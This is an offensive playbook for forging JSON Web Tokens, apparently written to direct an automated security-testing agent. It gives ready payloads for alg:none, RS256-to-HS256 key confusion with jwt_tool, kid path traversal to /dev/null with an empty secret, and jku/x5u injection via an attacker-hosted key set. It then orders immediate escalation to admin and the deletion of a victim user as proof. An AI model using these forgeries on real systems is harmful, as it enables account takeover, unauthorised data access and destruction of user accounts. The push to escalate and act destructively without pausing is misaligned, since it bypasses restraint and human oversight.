Hunt Jwt Crypto

HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)

What actually pays

A JWT is header.payload.signature, each base64url. The signature is the only

thing stopping you from editing the payload (your identity/role) and replaying

it. It pays High/Critical when the verifier can be tricked into accepting a

token you forged — so you become another user or an admin without their secret.

Two classic, generic verifier flaws:

• alg:none — the verifier trusts the token's own alg header. Set

alg:"none", drop the signature, edit the payload (e.g. role:"admin",

another user's id/email). A broken verifier skips signature checking.

• RS256 → HS256 key confusion — the token is signed RS256 (asymmetric). The

RSA public key is, by definition, public. If the verifier lets you choose

HS256, it will use that public key as the HMAC *secret* — which you also know.

Sign an edited payload with HS256 using the public key and it validates.

Recon — is this app JWT-based?

Login/token responses containing  "token":"eyJ..."   or  Set-Cookie: token=eyJ...
Authorization: Bearer eyJ...    on authenticated requests
A JWKS / public-key endpoint:   /.well-known/jwks.json, /jwks, public-key in the JS bundle

Decode the header (base64url the first segment). "alg":"RS256" → try key

confusion. Any alg → always try alg:none first; it's free.

Forging the token (never hand-encode base64 — use a JWT tool)

Use a purpose-built tool so encoding/signing is correct: jwt_tool

(jwt_tool <token> -T to tamper interactively, -X a for alg:none, `-X k -pk

public.pem` for key confusion), Burp's JWT Editor extension, or a few lines

of PyJWT. Each forge below is the concept plus the claim to edit.

alg:none — become admin / another user

header:    {"alg":"none","typ":"JWT"}
payload:   {"data":{"id":1,"email":"[email protected]","role":"admin"}}
signature: (empty — keep the trailing dot:  header.payload. )

Some verifiers reject lowercase none but accept None/NONE/nOnE — try case variants.

RS256 → HS256 key confusion — once you have the RSA public key

1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
   /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
   bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
      jwt_tool <token> -X k -pk public.pem
   payload edit:  {"sub":"administrator"}   (or role:"admin" / another user's id)

kid header injection — verifier loads the HMAC key from a FILE named by kid

header:  {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret:  ""     (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}

Traverse out of the keys directory first. kid can also carry SQLi / command

injection / SSRF if the key lookup hits a DB / shell / URL — same idea: kid is

attacker-controlled and reaches a dangerous sink.

jku / x5u header injection (RS256) — verifier fetches the public key from a URL in the token

1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
   with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
   path on the target's OWN domain so the fetch resolves to your JWKS.

Match the payload shape to a REAL token from the app (decode one first) — keep

its claim names, only change identity/role. A payload the app can't parse fails

for the wrong reason and wastes the attempt.

Drive to the ADMIN objective — do not stop at a working forge

A forge that loads YOUR own /my-account is NOT the goal — it just proves the

forge mechanism works. The objective is almost always admin (reach an

admin-only page and perform an admin action, e.g. delete a user). Once any forge

is accepted, IMMEDIATELY escalate — change identity to admin AND aim at the admin

endpoint. Do not keep re-forging /my-account or re-logging-in; that is drift.

Fixed escalation sequence (run it in order, do not loop on earlier steps):

• Forge admin identity and hit the admin page (try these claim names — match a

decoded real token: sub, role, isAdmin, username), e.g. an HS256 token

with kid pointed at /dev/null and an empty secret, payload {"sub":"administrator"},

sent to GET /admin.

• When /admin returns 200 (you'll see admin controls / a delete link), perform

the admin action with the SAME forged token — a typical one is deleting a

target user account, e.g. GET /admin/delete?username=<victimuser> (some apps

use POST /admin/delete — read the admin page for the exact form/verb).

A 401 on /admin means the forge/claim is wrong — change ONE thing (the kid

depth, the claim name/value, or alg) and retry /admin. Never retreat to a bare

unauthenticated GET /admin (no token) — that always 401s and wastes effort.

Proof of impact

Point the forged token at a protected/admin endpoint and prove you read data you

should not: an account/user listing (multiple users' emails), another user's

object, or a completed admin action (the deleted-user confirmation). Reading the

admin user list or performing the admin action with a forged token IS the exploit.

A 200 that returns only your own data, or a 401, is not proof.

Validation discipline

• Decode and confirm the token you sent actually carries the edited claims.
• The win is cross-identity data access, not merely a 200. Show the foreign

user data (e.g. other users' emails) in the response.

• alg:none rejected (401) just means that flaw is patched — try key confusion

before concluding the app is safe.